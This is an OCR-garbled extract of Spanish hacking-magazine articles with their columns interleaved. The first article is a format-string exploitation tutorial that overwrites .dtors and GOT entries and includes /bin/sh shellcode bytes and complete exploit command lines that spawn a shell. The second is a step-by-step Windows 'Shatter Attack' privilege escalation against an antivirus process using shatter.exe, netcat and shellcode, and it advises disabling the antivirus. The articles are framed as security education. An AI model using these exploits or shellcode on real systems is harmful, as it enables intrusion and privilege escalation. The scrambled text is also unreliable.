intentar modificar la variable i. Para queramos. Cómo escribimos otro byte? Además, como estamos escribiendo un
ello, primero ejecutaremos el programa Pues es bastante más fácil de lo que entero del cual solo se utiliza un byte,
con una línea cualquiera como pueda parecer. Solo tenemos que escribir habrá tres bytes nulos en las posiciones
parámetro, para ver la dirección de tantos caracteres antes de realizar la de memoria contiguas a las que nos
i:(listado 8) escritura como el número que queremos interesan, quedando las escrituras en
escribir menos cuatro. memoria como indica la imagen 1. En
Como puedes observar, la variable i ella puedes ver el estado de la memoria
está en la dirección 0x0849560 (he Pero imagina que quieres escribir el después de las sucesivas escrituras en
agregado el 0 delante porque no tenía va l o r 0 x F F, d e b e r í a s p o n e r 0 x F B memoria. Los signos XX indican un
los 8 caracteres que tocaban) y tiene caracteres entre la dirección de memoria estado desconocido de la memoria.
y el código %4$n, y esto sería un poco
cansino repetirlo 4 veces, no? Pues bien,
tenemos una solución muy simple ;-).
Se trata de poner un código de formato
que especifique un ancho mínimo del
Listado 7
tuxed@zeus:/tmp$ gcc ejemplo3.c -o ejemplo3
tuxed@zeus:/tmp$ ./ejemplo3 lalala
lalala
Imagen 1
i en 0x8049560 : fffffffc
Bien, puesto que queremos realizar
tuxed@zeus:/tmp$
cuatro escrituras en memoria, debemos
Listado 8
proporcionar cuatro direcciones de
tuxed@zeus:/tmp$ ./ejemplo3 "`printf "\x60\x95\x04\x08"`%4\$n"`
memoria correlativas. Como la variable
#
i está en 0x08049560, tendremos que
i en 0x8049560 : 4 poner desde ésta a la dirección
tuxed@zeus:/tmp$ 0x08049563. Así pues, las direcciones
Listado 9 de memoria escribirán 16 bytes (0x10
en hexadecimal). Para escribir el primer
tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x60\x95\x04\x08"`%8x%4\$n"`
byte (0xAA) deberemos escribir en
bffffb2f
memoria 0xAA 0x10 = 0x9A (154
i en 0x8049560 : c
tuxed@zeus:~/art3$ decimal). Así pues, debemos poner un
relleno de 154 y luego un %4$n.
Listado 10
37
¿Qué pasará si en lugar de poner 0xAA
tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x60\x95\x04\x08\x61\x95\x04\x08\x62\x95
\x04\x08\x63\x95\x04\x08"`%154x%4\$n%17x%5\$n%17x%6\$n% 17x%7\$n" cogemos y ponemos 0x1AA ?
`ab c bffffb09 4 0 8049560 Evidentemente, el byte que a nosotros
i en 0x8049560 : ddccbbaa nos interesa, que es el de menos peso,
tuxed@zeus:~/art3$ sigue siendo el mismo, y conseguiremos
un valor superior a, por ejemplo, 0xBB.
Listado 11
Con esto, aumentando el valor del byte
tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x60\x95\x04\x08\x61\x95\x04\x08\x62\x95 de la izquierda en uno sucesivamente,
\x04\x08\x63\x95\x04\x08"`%205x%4\$n%239x%5\$n%239x%6\$n% 239x%7\$n" vamos a conseguir escribir valores
` ab c bffffb06 40 8049560 mayores al que acabamos de escribir,
i en 0x8049560 : aabbccdd pudiendo así realizar cualquier escritura
tuxed@zeus:~/art3$
en memoria :-). Esta vez el estado de
Listado 12 la memoria será un poco diferente, como
static void inicio(void) __attribute__ ((constructor));
puedes ver en la Imagen 2.
static void final(void) __attribute__ ((destructor));
Vamos pues a ver cómo podemos
Listado 13 escribir el valor 0xAABBCCDD en la
tuxed@zeus:~/art3$ objdump -h ejemplo3 variable i. Debemos tener en cuenta
ejemplo3: formato del fichero elf32-i386 que esta vez lo primero a escribir es
Secciones: DD, luego el primer relleno es 0xDD
Ind Nombre Tamaño VMA LMA Desp fich Alin 0x10 = 0xCD (205 decimal). Para los
[...] siguientes, otra vez tenemos la misma
distancia de unos a otros: 0x1CC 0xDD
17 .ctors 00000008 08049630 08049630 00000630 2**2
= 0x2BB 0x1CC = 0x3AA 0x2BB =
CONTENTS, ALLOC, LOAD, DATA
0xEF ( 239 decimal) , con lo que ya po-
18 .dtors 00000008 08049638 08049638 00000638 2**2
demos realizar la escritura:(listado 12)
CONTENTS, ALLOC, LOAD, DATA
19 .jcr 00000004 08049640 08049640 00000640 2**2
CONTENTS, ALLOC, LOAD, DATA Una vez más, obtenemos el resultado
20 .got 0000001c 08049644 08049644 00000644 2**2 deseado :-). Ahora ya somos capaces,
mediante un error en el uso de las
CONTENTS, ALLOC, LOAD, DATA cadenas de formato de un determinado
[...] programa, de escribir un valor arbitrario
tuxed@zeus:~/art3$ de 32 bits (más 3 bytes nulos que no
Listado 14 tendremos en cuenta :-P ) en cualquier
iguales, los siguientes (0xCC y 0xDD) lugar del espacio direccional (la
se calculan exactamente igual, y el memoria) de ese proceso. Así pues, qué
resultado es el siguiente:(listado 11) podemos hacer? Los que leísteis mi
anterior artículo en esta misma revista,
El resultado es, efectivamente, el de- ya tendréis una idea de dónde atacar,
seado :-). Ahora bien, como has visto, pero como seguro que alguien no lo ha
hemos tenido la suerte (porque lo he leído, voy a volver a mostrar cómo
modificar la GOT (Global Offset Table)
preparado así :-P ) de que cada valor a
para redirigir el flujo de nuestro
Imagen 2 e s c r i b i r e r a m a y o r q u e e l va l o r
programa. Pero tranquilo, que si ya
inmediatamente posterior, con lo que
sabes hacerlo, todavía tienes algo nuevo
la diferencia era positiva, y aumentando en este artículo: modificación de la
Para poder escribir los siguientes el relleno dicha diferencia, conseguimos sección .dtors del ejecutable ;-).
valores, habrá que poner un relleno de escribir lo que deseamos. Pero, ¿y si
(valor siguiente) (valor actual). En esto no ocurre, y un valor es inferior al
este caso, 0xBB 0xAA = 0x11 (17 inmediatamente anterior? Pues no
decimal). Después pondremos el podríamos hacerlo, puesto que no
identificador de formato que realizará
podemos poner desplazamientos
la escritura en memoria, %5$n en este He decidido explicar primero esta sección
negativos... ¿O sí podríamos escribirlo?
caso, pues queremos coger la segunda y dejar para el final del artículo el tema
Pues sí, pero no del mismo modo. Para
dirección de memoria proporcionada en de la modificación de la GOT para que
la cadena de formato. realizar la escritura en este caso, los que leísteis el artículo anterior no
tendremos que valernos de un pequeño os durmáis :-P. Así, podéis seguir
Para no aburriros con más cálculos truco: leyendo el artículo y luego si a alguien
38
le interesa recordar lo de la GOT, pues
tuxed@zeus:~/art3$ objdump -s ejemplo3 -j .dtors
ahí lo tiene.
ejemplo3: formato del fichero elf32-i386
Contenido de la sección .dtors:
Bien, cuando compilamos con gcc, al
8049638 ffffffff 00000000 ........
crear un ejecutable en formato ELF
(Executable and Linkng Format) se Listado 15
añaden un par de secciones llamadas char scode[]="\x31\xc0\x50\x68\x2f \x2f \x73\x68\x68\x2f \x62\x69\x6e\x89
.ctors y .dtors al archivo resultante. En \xe3\x50\x54\x53\x50\x8c\xe0 \x21\xc0\x74\x04\xb0\x3b\xeb\x07\xb0\x0b\x99\x52
la primera de ellas, se almacenan las \x53\x89\xe1\xcd\x80";
direcciones de las funciones definidas
Listado 16
con el atributo constructor, mientras
que en la segunda las de las funciones tuxed@zeus:~/art3$ printf "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\
definidas con el atributo destructor. x89\xe3\x50\x54 \x53\x50\x8c\xe0\x21\xc0\x74\x04\xb0\x3b\xeb\x07\xb0\x0b\x99\
x52\x53\x89\xe1\xcd\x80">scode
Las funciones definidas como constru- tuxed@zeus:~/art3$ export SCODE=`cat scode`;
tuxed@zeus:~/art3$ gcc env.c -o environm
ctores, son ejecutadas justo antes del
env.c: En la función `main':
main(), mientras que las funciones
env.c:6: aviso: asignación se crea un puntero desde un entero sin una conversión
definidas como destructores, se ejecutan
tuxed@zeus:~/art3$ ./environm SCODE
justo antes de la salida del programa.
La variable SCODE está en la dirección 0xbffffb13
Para definir un constructor o un destruc- tuxed@zeus:~/art3$
tor, deberemos hacerlo así: (listado 13)
Listado 17
Así estaríamos declarando la función almacenarla y localizarla en memoria.
inicio como constructor, y la función sección .dtors del ejemplo3, y veremos Aquí os muestro la propia shellcode en
final como destructor. Bien, pero... qué su formato ;-) : (listado 15) el formato de array de carac-
pintan los constructores y destructores teres:(listado 16)
Como puedes observar, la sección .dtors
en todo esto? Vamos a echar un ojo al
del programa ejemplo3, mapeada en Y en los siguientes comandos, la creación
programa compilado antes (código
memoria en la dirección 0x08049638, del archivo scode con ella, la creación
ejemplo3.c) mediante la aplicación
empieza con un 0xFFFFFFFF y acaba de una variable de entorno donde
objdump a ver si encontramos la sección
con un 0x00000000. Esto es así porque alojarla, y la localización de ésta
.dtors y .ctors:(listado 14)
esta vez no tenemos ningún destructor. mediante el programa env.c que podéis
En la salida anterior (recortada) encontrar junto con los demás paquetes
Sin embargo, si tuviésemos
podemos observar que las secciones en el siguiente post del foro:
destructores, sus direcciones aparecerían http://www.hackxcrack.com/phpBB2/
llamadas .ctors, .dtors y .got son correlativamente entre 0xFFFFFFFF y viewtopic.php?p=177492 ;-). Ten en
secciones en las que se puede escribir 0x00000000. Así pues, cuando vaya a cuenta que he compilado con el nombre
(de lo contrario estarían marcadas con salir nuestro programa, lo que hará será environm (misma longitud que
el atributo READONLY. Además, sabemos irse a la sección .dtors, y empezar a ejemplo3) debido a la variación de la
que las direcciones de los destructores hacer llamadas a las direcciones que se posición de las variables de entorno con
están en .dtors, y que además éstos encuentran justo detrás del 0xFFFFFFFF el nombre del programa. Si quieres más
son llamados SIEMPRE al finalizar el (dirección de .dtors + 4) hasta llegar al detalles sobre esta variación, puedes
programa. 0x00000000. Por tanto, si nosotros leerlos en el artículo publicado en el
modificamos el 0x00000000 con la número 27 sobre desbordamientos de
Sin embargo, nosotros no hemos creado dirección de nuestro código máquina buffer en la pila. Aquí van los
ningún destructor en el ejemplo3.c, pero (shellcode), tendremos como resultado comandos:(listado 17)
ahí aparece la sección (aunque como la ejecución de dicho código justo antes
luego veremos está vacía). Así pues, de que el programa atacado termine ;-) Bien, una vez localizada, ya sabemos
podemos concluir que estas secciones qué hay que escribir y dónde hay que
aparecen en cualquier binario ELF Así pues, vamos a probar a hacerlo. hacerlo. Así pues, solo nos queda llevarlo
compilado con gcc, aunque el Como hemos visto en la salida del a la práctica ;-) Vamos a realizar los
programador no haya puesto ningún comando objdump, tenemos la sección cálculos por anticipado:
constructor/destructor. .dtors en la dirección 0x08049638, así
que tendremos que escribir en 1ª escritura: Dirección 0x0804963c,
Bien, ¿y qué es lo que incluye dicha 0x0804963c la dirección de nuestra relleno 0x13 0x10 = 0x03 (15 decimal)
sección? O mejor dicho, ¿Cómo se shellcode.
incluyen las direcciones de las funciones 2ª escritura: Dirección 0x0804963d,
en dicha sección? ¿Qué formato se Una vez más, voy a usar la misma relleno 0xFB 0x13 = 0xE8 ( 232
sigue? Vamos a echarle un ojo a la shellcode, y el mismo método para decimal)
39
curityfocus.com/archive/1 y realizar una
tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x3c\x96\x04\x08\x3d\x96\x04\x08\x3e\x96 búsqueda por format strings, a ver
\x04\x08\x3f\x96\x04\x08"`%3x%4\$n%232x%5\$n%4x%6\$n% 192x%7\$n"
qué encontráis ;-) ). En dicho caso, tu
<=>?bffffadc 4 0 804963c
red podría haber sido totalmente
i en 0x8049560 : fffffffc
comprometida, por un fallo tan tonto
Violación de segmento
tuxed@zeus:~/art3$
como no usar adecuadamente las
cadenas de formato.
Listado 18
tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x3c\x96\x04\x08\x3d\x96\x04\x08\x3e\x96 Ahora que ya hemos hablado de los
\x04\x08\x3f\x96\x04\x08"`%3c%4\$n%232x%5\$n%4x%6\$n% 192x%7\$n" destructores, vamos a repasar en la
<=>? Ü 40 804963c
siguiente sección cómo conseguir la
i en 0x8049560 : fffffffc
ejecución de nuestra shellcode mediante
sh-3.00$
la modificación de la GOT.
Listado 19
tuxed@zeus:~/art3$ objdump -R ejemplo3
ejemplo3: formato del fichero elf32-i386
DYNAMIC RELOCATION RECORDS Bien, esta sección es más bien de repaso
OFFSET TYPE VALUE
del número anterior, pues si lo has leído
0804965c R_386_GLOB_DAT __gmon_start__
ya sabrás qué es la GOT y como
08049650 R_386_JUMP_SLOT __libc_start_main
aprovecharse de ella para conseguir la
08049654 R_386_JUMP_SLOT printf
08049658 R_386_JUMP_SLOT strcpy
ejecución de la shellcode. Sin embargo,
como ya he explicado antes, voy a volver
tuxed@zeus:~/art3$ a mencionarlo por si alguien se perdió
el artículo anterior, pero realizando las
Listado 20 modificaciones con cadenas de formato
tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x54\x96\x04\x08\x55\x96\x04\x08\x56\x96 esta vez.
\x04\x08\x57\x96\x04\x08"`%3c%4\$n%232x%5\$n%4x%6\$n% 192x%7\$n" Bueno, y qué es la GOT? La GOT es una
sh-3.00$ sección de los ejecutables ELF que
contiene las direcciones de las funciones
Listado 21 de otras librerías ejecutadas por nuestro
programa. Esta sección, como habrás
3ª escritura: Dirección 0x0804963e, es importante. Si miramos en la salida podido notar en la salida del comando
relleno 0xFF 0xFB = 0x04 ( 4 decimal) anterior, vemos que lo que ha escrito objdump -h ejemplo3 realizada en el
4ª escritura: Dirección 0x0804963f, dicho campo es el valor bffffadc, que si apartado anterior del artículo, no está
relleno 0x1BF 0xFF = 0xC0 (192 contamos son 8 caracteres, con lo que marcada como READONLY, y por tanto
decimal) nos ha desmontado la fiesta... Así pues, nada nos impide modificarla.
qué hacemos? Pues vamos a cambiar
Ahora, con estos cálculos en mano, solo el %3x por algo que escriba los 3 Así pues, ¿cómo vemos el contenido de
nos falta armar la cadena de formato. caracteres que queremos. Por ejemplo, la sección GOT? Pues una vez más, con
Espero que tanto los cálculos de arriba % 3c escribirá 3 caracteres, pues leerá ayuda de la utilidad obdjump. Ejecu-
como la cadena sea perfectamente uno solo ( %c ), y lo rellenará con tando la orden objdump -R nues-
comprendida. Si no es así, vuelve a leer espacios. Así, si todo va bien, tendremos tro_ejecutable veremos todas las funcio-
el apartado en el que se habla del nuestra shell :-) :(listado 19) nes de la GOT de nuestro ejecutable.
m é t o d o p a ra e s c r i b i r va l o r e s e n Veámoslo con ejemplo3: (listado 20)
memoria, y si aún así no lo entiendes, Yuuhuuu!! Ya hemos logrado ejecutar
nuestra shellcode con los privilegios del Bien, aquí vemos que este programa
pásate por el foro y te lo intentaremos proceso ejemplo3. En este caso ha sido solamente utiliza cuatro funciones, dos
explicar de otro modo :-). ejemplo3, pero imagina que hubiese de ellas utilizadas para iniciar el
sido una aplicación importante en tu programa, y las dos de las librerías que
Bueno, pasemos a la ejecución de sistema/red, como por ejemplo un hemos puesto nosotros en el código:
nuestro plan:(ver listado 18) servidor de mail, o un determinado strcpy() y printf(). Vemos a la izquierda
proxy que uses (en bugtraq últimamente la dirección de memoria donde se
Wo w ! ! ¿ ¿ ¿ Y e s o ? ? ? o _ 0 ! ! Va l e , ha habido noticias sobre varias vulnera- almacena la dirección de las funciones.
tranquilidad, pensemos un poquito ;-). bilidades de cadenas de formato, en En el caso de printf, vemos que su
Como se ha explicado al introducir el programas como hashcash o snmppd dirección se encuentra en 0x08049654,
campo de padding de los modificadores para linux, o cierto servidor de mail así que ya sabemos qué dirección vamos
de formato, este especifica únicamente para windows. Para los interesados, a sobrescribir, y con qué, pues ya
el ancho mínimo de un campo, y esto podéis mirar en http://www.se tenemos la shellcode en memoria :-).
40
Como la shellcode está en el mismo sitio Con estos tres artículos he intentado entender mejor el funcionamiento de
de antes, los cálculos nos valen. Sin que podáis entender a qué se deben vuestro sistema, y hayáis adquirido unas
embargo, variaran las direcciones de varios tipos comunes de vulnerabilidades bases que os ayuden a comprender el
memoria, pues en lugar de empezar en que están a la orden del día, que porqué de nuevas vulnerabilidades, y
0x0804963c, esta vez tenemos que entendáis cómo se pueden explotar y con unos pocos conocimientos de C y
empezar en 0x08049654. Así, como ya porqué, y veáis lo peligroso que puede C++, podáis entender el funcionamiento
tenemos claro cual es la cadena de resultar un error en la programación de principal de los exploits que circulan por
formato que tenemos que poner, vuestras aplicaciones. ahí, y sepáis como podéis protegeros
pasamos a la ejecución de nuestro plan: de ellos.
(listado 21) Espero haber conseguido que a partir
de ahora, cuando programéis una Sin más, espero que estos tres artículos
Una vez más, como puedes observar, aplicación que deba funcionar en un hayan sido de vuestro agrado, y hayáis
hemos conseguido ejecutar nuestra entorno de producción, en algún lugar disfrutado tanto como lo he hecho yo
shellcode con los privilegios del crítico donde pueda recibir ataques, aprendiendo y experimentando acerca
programa atacado :-). Por tanto, con tengáis muy en cuenta la seguridad y de estos temas. De nuevo os invito a
éste ya sabemos dos métodos para la necesidad de validar los datos de acercaros al foro de esta revista
poder ejecutar código arbitrario (una entrada de los usuarios. Si no lo tenemos (http://www.hackxcrack.com/phpBB2)
shellcode) en un proceso que realice un en cuenta, podemos ser víctimas de a compartir vuestras dudas con todos
mal uso de las cadenas de formato. ataques que, como ya habéis podido los usuarios del foro, y a aprender juntos
comprobar a lo largo de estos artículos, :-).
comprometan totalmente nuestros Hasta la próxima.
sistemas. Por ello os invito a que leáis
Con este artículo llega a su fin esta algún texto sobre programación segura Eloi S.G.
pequeña serie de artículos sobre para poder evitar todo esto. (a.k.a. TuXeD)
explotación de errores de programación
iniciada en el número 27 de esta revista. Además, espero que con esto podáis
Y
En esta sección viajaremos al pasado, abrimos la puerta del desván, sacudiremos el polvo de
algunos bugs y exploits que por su singularidad y forma de actuar dejaron al descubierto la
fragilidad de nuestros ordenadores personales, de nuestros sistemas de protección y de todo
aquello en lo que confiábamos.
R: Como se dice habitualmente, "Los pueblos que no Éstas son otras tres de las razones por las que nos
conocen su pasado están abocados a repetir su Historia", aventuramos a esta nueva sección de la que vosotros
42
tendréis la última palabra, la continuidad porción de memoria para entregarnos Para ello es necesario que Windows
de la misma es cosa vuestra, de vuestra esa sesión privilegiada y lo haremos esté ejecutando una aplicación (servicio
aceptación e interés... no queremos gracias a un antivirus, o a un firewall, interactivo) que requiera de un nivel de
hacerla "una sección fija", más bien o a cualquier proceso que corra en LocalSystem (ejecución local con los
habitual o periódica, no permanente... nuestra máquina con privilegios máximos privilegios), esto no es nada
aunque también en esto vuestra es la superiores a los que disponemos, difícil, muchos Antivirus, cortafuegos y
última palabra... y ahora no me enrollo utilizaremos un debugger, etc. vamos, otras aplicaciones se ejecutan en ese
más... que va como anillo al dedo de lo que se contexto, el único requisito es que esas
ha ido explicando y desarrollando hasta aplicaciones con privilegios de System,
Dicho todo lo anterior... ¿Por dónde ahora, no es casual, no... cuando leí ofrezcan al usuario sin privilegios un
comenzamos? ¿Por cual? ¿Quien ese artículo de cómo burlar al antivirus interfase para que el usuario interactúe
será nuestro primer banco de me vino a la memoria este caso que en con ellos, como por ejemplo un antivirus
pruebas? su momento provocó respuestas de y sus tareas programadas, también es
Microsoft del tipo "Eso no es una preciso que dicha interfase ofrezca algún
Es tarea difícil, es tan abrumadora la vulnerabilidad....." hasta que se dio control del tipo edit-box (cuadro de
cantidad de información, documentos y cuenta de que SI lo era. texto donde escribir algo, una contraseña,
listas de seguridad que quizás es más una descripción, una fecha, etc..)
difícil elegir uno que redactar este Esta es una vulnerabilidad bien conocida,
artículo.... pero entre todos ellos escogí y al mismo tiempo no muy.... bueno, Microsoft publicó un parche de
uno que bien podría ser el título de este no tienes más que darle al botón de seguridad que corregía dicho agujero,
artículo: Windows vulnerable por ser buscar de nuestros foros ( pero más tarde el propio Paget y Oliver
Windows. http://www.hackxcrack.com/phpBB2/ Lavery, investigador de la compañía
search.php ) y escribe la palabra shatter iDefense hacía público otro informe
La frase es ingeniosa donde las haya, como criterio de búsqueda.... sólo dos que promulgaba que dicha vulnerabilidad
Windows vulnerable por ser míseros post.... no era casual haber seguía existiendo a pesar del parche y
Windows...ya me hubiese gustado ser elegido empezar por este bug... ya van que muchos de los productos del
su autor. tres. mercado eran susceptibles de usarse
mediante la técnica descrita por Paget.
Se trata de una técnica basada en el
Microsoft se mantuvo en sus principios
llamado "Shatter Attack", explotando
y anunciaba que no era una vulnera-
A P I W i n 3 2 p a ra l a e s c a l a d a d e
"Hacia mediados del año 2002, Chris bilidad como tal, no podía explotarse
privilegios.
Paget, un experto británico, hizo público de forma remota y precisaba del acceso
un informe conocido como "Shatter físico a la máquina afectada, por ello le
En palabras llanas... Obtener una línea
Attacks - How to break Windows", que restó importancia y durante varios
de comandos (shell del sistema) con el
describía fallos fundamentales en el (muchos) meses más, siguieron al des-
máximo de privilegios y hacernos con
diseño de Windows, y que se basan en cubierto nuestros equipos.
el control total de una máquina
la manera de funcionar de las APIs
Windows 2000/XP (sin parchear,
(Application Program Interface), un Podéis seguir por completo las explica-
claro)
conjunto de rutinas que un programa ciones en: http://www.vsantivirus.-
de aplicación utiliza para solicitar y com/13-08-02.htm
La elección de que haya sido éste y no
efectuar servicios de nivel inferior
otro tampoco es casual, desde hace un Como bien dice en esos artículos, virus
ejecutados por el sistema operativo."
tiempo, en esta nueva era de HxC los y troyanos pueden aprovecharse de esta
redactores de la revista han ido Así comenzaba una alerta de circunstancia (y aunque Microsoft decía
enseñándonos las shellcode, gracias vsantivirus en el año 2003 (UN AÑO que no era "importante", creo yo desde
TuXeD, y en el último número aparece DESPUÉS), podéis consultar el texto mi modesta opinión, que un virus-
un artículo de autor anónimo que íntegro en: http://www.vsantivirus.com troyano que se instale en tu máquina y
demuestra lo sencillo que es engañar a /shatter-attack.htm entregue una shell remota a un individuo
un antivirus que base su detección en cualquiera, no deja de ser un GRAVE
el método de firmas o que su poder Haciendo un resumen de lo expuesto, problema, es cierto que se precisa de
heurístico sea cuanto menos discutible, el asunto es que Paget abrió al mundo acceso local, como afirmaba
mis más sinceras felicitaciones a su una nueva forma en la que un usuario Microsoft... pero de eso se ocuparon
autor y a su método RiT. sin privilegios puede llegar a sacar los virus y troyanos... Windows se
provecho de esta vulnerabilidad y ocupaba del resto.
No es casual la aparición de este texto asignarse a si mismo los máximos
como dije antes... no lo es porque en privilegios del sistema atacado, el status Obviamente el "problema" no es/era la
el mismo haremos de él la necesidad de LocalSystem, el nivel superior al denominada "Shatter Attack", si no el
de ejecutar una shellcode en una del administrador. virus que nos llega por correo que se
43
aprovecha de la situación... y digo yo... Como estarás intuyendo, si somos la misma que usa el exploit Jill,
¿Es que Microsoft no llega a eso?, capaces de enviar una shellcode a una la encontraréis en el mismo zip de
sorprendente.... ventana desplegada por el Sistema con http://security.tombom.co.uk/sh
privilegios superiores a los que a t t e r. z i p c o n e l n o m b r e d e
El documento original que Paget disponemos, sólo nos hará falta conocer sploit.bin
d e s a r r o l l ó e n : h t t p : / / s e c u r i t y. la dirección de memoria del inicio de la
tombom.co.uk/shatter.html shellcode para poder ejecutarla, debido Opcionalmente herramientas que
a que Windows no chequea el origen listen procesos como pslist de
Y la ampliación por Oliver Lavery: del mensaje, si una ventana le dice a sysinternals, o del propio kit de
otra que haga "tal cosa", obedecerá, lo recursos, como estamos usando
http://www.packetstormsecurity.org/p
que decía el artículo de vsantivirus... un XP nos bastará con el
apers/Win2000/Shatter_Redux.pdf
Windows Vulnerable por ser administrador de tareas, también
Windows. si se desea alguna herramienta
Bueno, hablemos de forma más
sencilla... ¿esto en qué consiste? que nos muestre el usuario que
Vamos a aplicar en este artículo las somos y/o a los grupos que perte-
técnicas descritas por Pager y necemos... del tipo whoami.exe
Pues simplemente en encontrar un
necesitaremos para nuestra práctica: del Kit de recursos.
proceso "vulnerable" que se ejecute con
privilegios de System y en el que el Una aplicación capaz de enu-
usuario pueda interactuar con él, en el m e ra r v e n t a n a s , o b t e n e r s u Si mantienes tu antivirus actualizado,
que pueda "rellenar" algún campo de posición y capaz de enviar los probablemente te reconocerá el archivo
tipo texto sólo que en lugar de escribir mensajes necesarios, esto nos lo shatter.zip o shatter.exe (una vez
en ese campo un texto "normal" escriba brinda Paget: http://security. descomprimido) como un virus... si es
en el mismo una shellcode (que no es tombom.co.uk/shatter.zip así desactívalo, no te preocupes, nada
otra cosa que un programa que nos malo ocurrirá... aunque como dije al
enviará una línea de comandos), como Una aplicación que se ejecute principio, lo mejor será que uses un
la aplicación "vulnerable" se ejecuta con con privilegios de System, Paget sistema de pruebas... ya sabes... lo del
privilegios de System, la shellcode en su documento original, lo hace laboratorio de investigación...
nos enviará una shell con idénticos con un antivirus llamado
privilegios. VirusScan v4.5.1 corriendo en
un Windows 2000 Professional,
Oliver Lavery lo demuestra con
vnc, nosotros vamos a usar un
Windows XP Professional y una
versión de Norton, a la cual de 1.- Localizar una ventana de la
Pues por la forma en que Windows
forma intencionada la hacemos aplicación (para el caso que nos
está diseñado... Cuando Windows abre
correr al inicio del sistema como concierne el antivirus) que corra
una ventana y el usuario la utiliza, los
proceso con privilegios de System, como LocalSystem que
llamados "mensajes de Windows"
esto es importante remarcarlo, disponga de una caja de texto
envían información acerca de lo que el
puesto que Norton Corporate no donde poder escribir la
usuario hace: un clic, la pulsación de
funciona así... hemos obligado al shellcode y obtener el
teclas, el movimiento del ratón, etc...
antivirus a correr de forma "manejador" de ventana.
hasta aquí todo normal, como ha de
privilegiada,
ser... sólo que el diseño de Windows no
2.- Eliminar las posibles
e s t a b a p r e p a ra d o p a ra d o t a r d e
El bloc de notas de Windows... restricciones que afecten a la
seguridad la comunicación entre
eso viene de serie... notepad.exe caja de texto, como puede ser
ventanas, me explico:
la longitud máxima de
Un debugger cualquiera, para caracteres que puede albergar.
Cualquier ventana puede enviar a otra
cualquier mensaje (entiéndase mensaje seguir con las explicaciones de
Paget, usaremos el Win 3.- Pegar en la caja de texto el
como las acciones que el usuario efectúa
Debugger: http://www. microsoft. código binario del programa a
como ya se dijo antes) de tal forma que
com/whdc/devtools/ddk/default. ejecutar (la shellcode)
si construimos una aplicación que sea
capaz de enviar a una ventana mspx
4.- Averiguar la posición de
desplegada por Windows algún tipo
Nuestro bien amado netcat... memoria en que se pegó la
de mensaje "malicioso", la ventana
shellcode y ejecutarla.
receptora no valida la seguridad de la
comunicación... simplemente carga ese Una shellcode, usaremos la
misma que Paget utiliza en su Parece sencillo... y además son pocos
código en la porción de memoria que
ejemplo, por Dark Spyrit! que es pasos :P
tiene asignada.
44
Ahora abriremos una shell (inicio- Aceptamos y buscamos el proceso del
Antes de comenzar con el ejemplo real, ejecutar-cmd) accedemos a la carpeta antivirus que corre con privilegios de
hagamos algunas pruebas y preparemos H X C S H A T T E R y ve a m o s q u i e n e s System, en esta ocasión se trata del
todas nuestras herramientas: somos:(pantalla 2) proceso número 356 cuyo nombre
es vpc32.exe, ni que decir tiene que
Primero vamos a probar con la cuenta Bien, vemos que pertenecemos al grupo en tú sistema probablemente sea otro
del administrador, es decir, como es un de administradores (y muchos otros) proceso o si no usas el mismo antivirus
banco de pruebas vamos a seguir la también será otro nombre.(pantalla 4)
práctica como administradores del
sistema e instalamos todo lo necesario:
Descomprimimos el archivo que nos
b a j a m o s d e h t t p : / / s e c u r i t y. Pulsamos CTRL+ALT+Supr y acce-
t o m b o m . c o . u k / s h a t t e r. z i p y l o demos al administrador de tareas y
almacenamos en una carpeta cual- en el menú de ver elegimos
quiera, crearemos una carpeta llamada seleccionar columnas y marcamos
HXCShatter y en ella colocaremos gran la casilla de identificador de proceso
parte de lo necesario, a saber: (PID)(ver pantalla 3)
El archivo shatter.exe
El archivo nc.exe (netcat)
El archivo whoami.exe (del kit
de recursos para conocer quienes
somos)
El archivo sploit.bin
Pantalla 4. Identificación del proceso
renombrado como sploit.txt (no privilegiado vpc32.exe
es preciso cambiarle la extensión,
pero así lo podremos abrir direc- A h o ra e j e c u t a m o s e l p r o g r a m a
s h a t t e r . e x e d e n u e s t ra c a r p e t a
tamente con el bloc de notas sin HXCSHATTER (pantalla 5)
más)
Pantalla 3. Selección de columnas en
Quedará más o menos así:(pantalla1) el administrador de tareas
45
descripción del mismo si lo desea
(pantalla 8).
Pantalla 6. Ejecución del antivirus, proceso vpc32.exe Para conseguir ese valor, usaremos el
programa shatter.exe que ya tenemos
como LocalSystem que disponga de
en ejecución, pulsamos en el botón
una caja de texto donde poder
Enumerate windows y desplazamos
escribir la shellcode y obtener el
el deslizador que hay a la derecha
"manejador" de ventana.
encontraremos el/los identificadores de
ventana de Norton... algo así:(ver
Localizar la ventana es sencillo, si
pantalla 9)
hacemos un repaso por las opciones
1402a6 - name
1b0262 - description
46
1402a2 y 1b0266
El identificador de ventana es el
1b0266 que es el mismo que
"suponíamos" antes, elige el método
que más te guste... pero recuerda no
hacer clic por ningún sitio una vez
pinchado en el botón Get Cursor
Window o tendrás que repetirlo...
Pantalla 12. Averiguar el identificador mediante Get Cursor window (parte III)
47
Si miras en el Antivirus... SORPRESA!!!! R: Porque la caja de texto donde
(pantalla 15) estamos enviando el mensaje sólo
permite 256 caracteres, si intentamos
Se ha copiado ... a continuación del escribir más no nos lo permite y con
texto que ya existía, pulsemos varias esto enlazamos con la segunda fase del
veces en WM_PASTE (10 ó 12 al método expuesto por Paget
menos)(pantalla 16)
Pantalla 15. Observamos los resultado después de pulsar en WM_PASTE Así que volvamos a nuestro shatter
y en WPARAM (DWORD) escribiremos
.... FFFFFF esto equivale a 16.777.216
que serán los caracteres que vamos a
poder escribir... si te faltan pon más,
por ejemplo FFFFFFFF unos 4 Gigas...
:P
48
Con el botón EM_SETLIMITTEXT
podemos fijar el número de
caracteres máximo que una caja de
texto puede almacenar, la cantidad de
caracteres que almacena se define con
el valor hexadecimal que escribamos en
WPARAM (Dword).
49
primera) con la palabra FOON seguida
de "unos cuadraditos"
50
Volvamos a shatter... y escribimos
todo lo que necesitamos:
En WPARAM escribimos el
desplazamiento y en LPARAM la
posición en la que se empezará a
ejecutar el código de nuestra shellcode,
ahora sólo resta pulsar en WM_TIMER
y rezar....
51
al azar, no es muy elegante pero
funcionar funciona. Además, muchas
aplicaciones pueden causar errores si
tocamos donde no se debe... eso es
bastante útil para hacernos una idea de
las posiciones de memoria en las que
se ejecutan.
Atención al Cliente
